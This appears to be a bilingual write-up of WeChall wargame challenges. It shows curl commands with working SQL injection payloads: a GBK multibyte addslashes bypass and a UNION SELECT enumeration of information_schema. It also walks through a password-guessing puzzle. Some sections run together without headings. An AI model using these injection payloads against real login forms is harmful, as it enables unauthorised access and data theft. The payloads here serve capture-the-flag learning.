Network Security Sam set up a password protection script. He made it
load the real password from an unencrypted text file and compare it to
the password the user enters. However, he neglected to upload the
password file...
Sam
设置了一个密码保护脚本,从一个未加密的文本文件中加载真实密码进行比对。然而他忘了上传密码文件。
This level is what we call "The Idiot Test", if you can't complete
it, don't give up on learning all you can, but, don't go begging to
someone else for the answer, thats one way to get you hated/made fun
of.
这一关被称为"白痴测试",如果你无法完成,别放弃学习,但不要去求别人给你答案。
页面上有一个密码输入框,需要找到密码才能过关。
Solution
最基本的 web 安全入门:查看网页源代码。
右键查看页面源代码(或 Ctrl+U),然后搜索
password,会发现密码直接以 HTML
注释的形式嵌入在源码中:
1
<!-- the first few levels are extremely easy: password is 798ce5a6 -->
$ curl -s -b 'WC=...' \ 'https://www.wechall.net/en/challenge/addslashes/index.php?username=test&password=test&login=login' You are logged in, but not as Admin.
$ curl -s -b 'WC=...' \ 'https://www.wechall.net/en/challenge/addslashes/index.php?username=%bf%27+OR+1%3d1--+-&password=x&login=login' You are logged in, but not as Admin.
%bf%5c 被 GBK 吃掉成为「縗」,后面的
' OR 1=1-- - 被解释为 SQL,绕过了转义。但
OR 1=1 只会返回表中第一条记录,不一定是 Admin。需要精确指定
Admin 用户名,用 hex 编码避免单引号被转义:
1 2 3
$ curl -s -b 'WC=...' \ 'https://www.wechall.net/en/challenge/addslashes/index.php?username=%bf%27+OR+username%3d0x41646d696e+--+&password=x&login=login' You are logged in. congrats!
MySQL + Exploit, difficulty 4.79. 找出 SQL
注入漏洞所用的数据库名和表名。无源码,有测试账号 test/test。
答案格式: databasename_tablename
Solution
漏洞脚本是一个 GET 方法的登录表单,username 和 password 参数都存在
SQL 注入。
先用测试账号登录,确认正常响应:
1 2 3 4
$ curl -G --data-urlencode "username=test" --data-urlencode "password=test" --data-urlencode "login=login" \ 'https://www.wechall.net/en/challenge/table_names/challenge.php' Welcome back test Your personal welcome message is: This is a demo account, nothing here.
用户名和密码字段都可以注入。布尔盲注验证:
1 2 3
$ curl -G --data-urlencode "username=test' OR '1'='1" --data-urlencode "password=x" --data-urlencode "login=login" \ 'https://www.wechall.net/en/challenge/table_names/challenge.php' Welcome back Aaron A. Aaronson
确认注入点后,用 UNION SELECT 探测列数。正常登录显示用户名和 welcome
message 两个字段,猜测 2-3 列。逐一测试发现 3 列时 welcome message
位置返回了 UNION 的值:
1 2 3
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,1-- -" --data-urlencode "password=x" --data-urlencode "login=login" \ 'https://www.wechall.net/en/challenge/table_names/challenge.php' ... message is: 1 ...
第 3 列对应 welcome message 显示位置。提取数据库名:
1 2
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,database()-- -" ... message is: gizmore_tableu61
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)-- -" ... message is: aaawrong
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)-- -" ... message is: usertableus4
Account Cracked — I think some people have cracked my wechall
account. Do you really think your scripts are safe ?
用户名 WeChall 的账号被破解了,猜出密码登录。
Solution
页面模拟了一个论坛帖子:
WeChall 发帖:"I think some people have cracked my
wechall account. Do you really think your scripts are safe ?"
gizmore 回复:"Well, maybe your password was very
easy to guess or you reused it on another site? Do not choose passwords
that are affiliated with the site and your person etc... You should
maybe reset your password? PS: Do not re-use important passwords! Edit:
I think you are not even a legit user, since you post news items
:WEIRD:"
底部有一个登录表单:用户名预填 WeChall,密码输入框
wcpwd,提交按钮。
输入 wechall → 返回
uhoh.... you are close,说明密码以 wechall
开头。
输入
结果
wechall
CLOSE
wechall1 / wechall2 / ...
CLOSE
wechalladmin / wechallpost
CLOSE
WeChall / gizmore /
password
UNKNOWN
wechallbot
CORRECT ✅
系统对密码做前缀匹配:包含 wechall 前缀的都返回
CLOSE,其余返回 UNKNOWN。
关键推理:
gizmore 的话里有一句 Edit:"I think you are not even a legit user,
since you post news items :WEIRD:"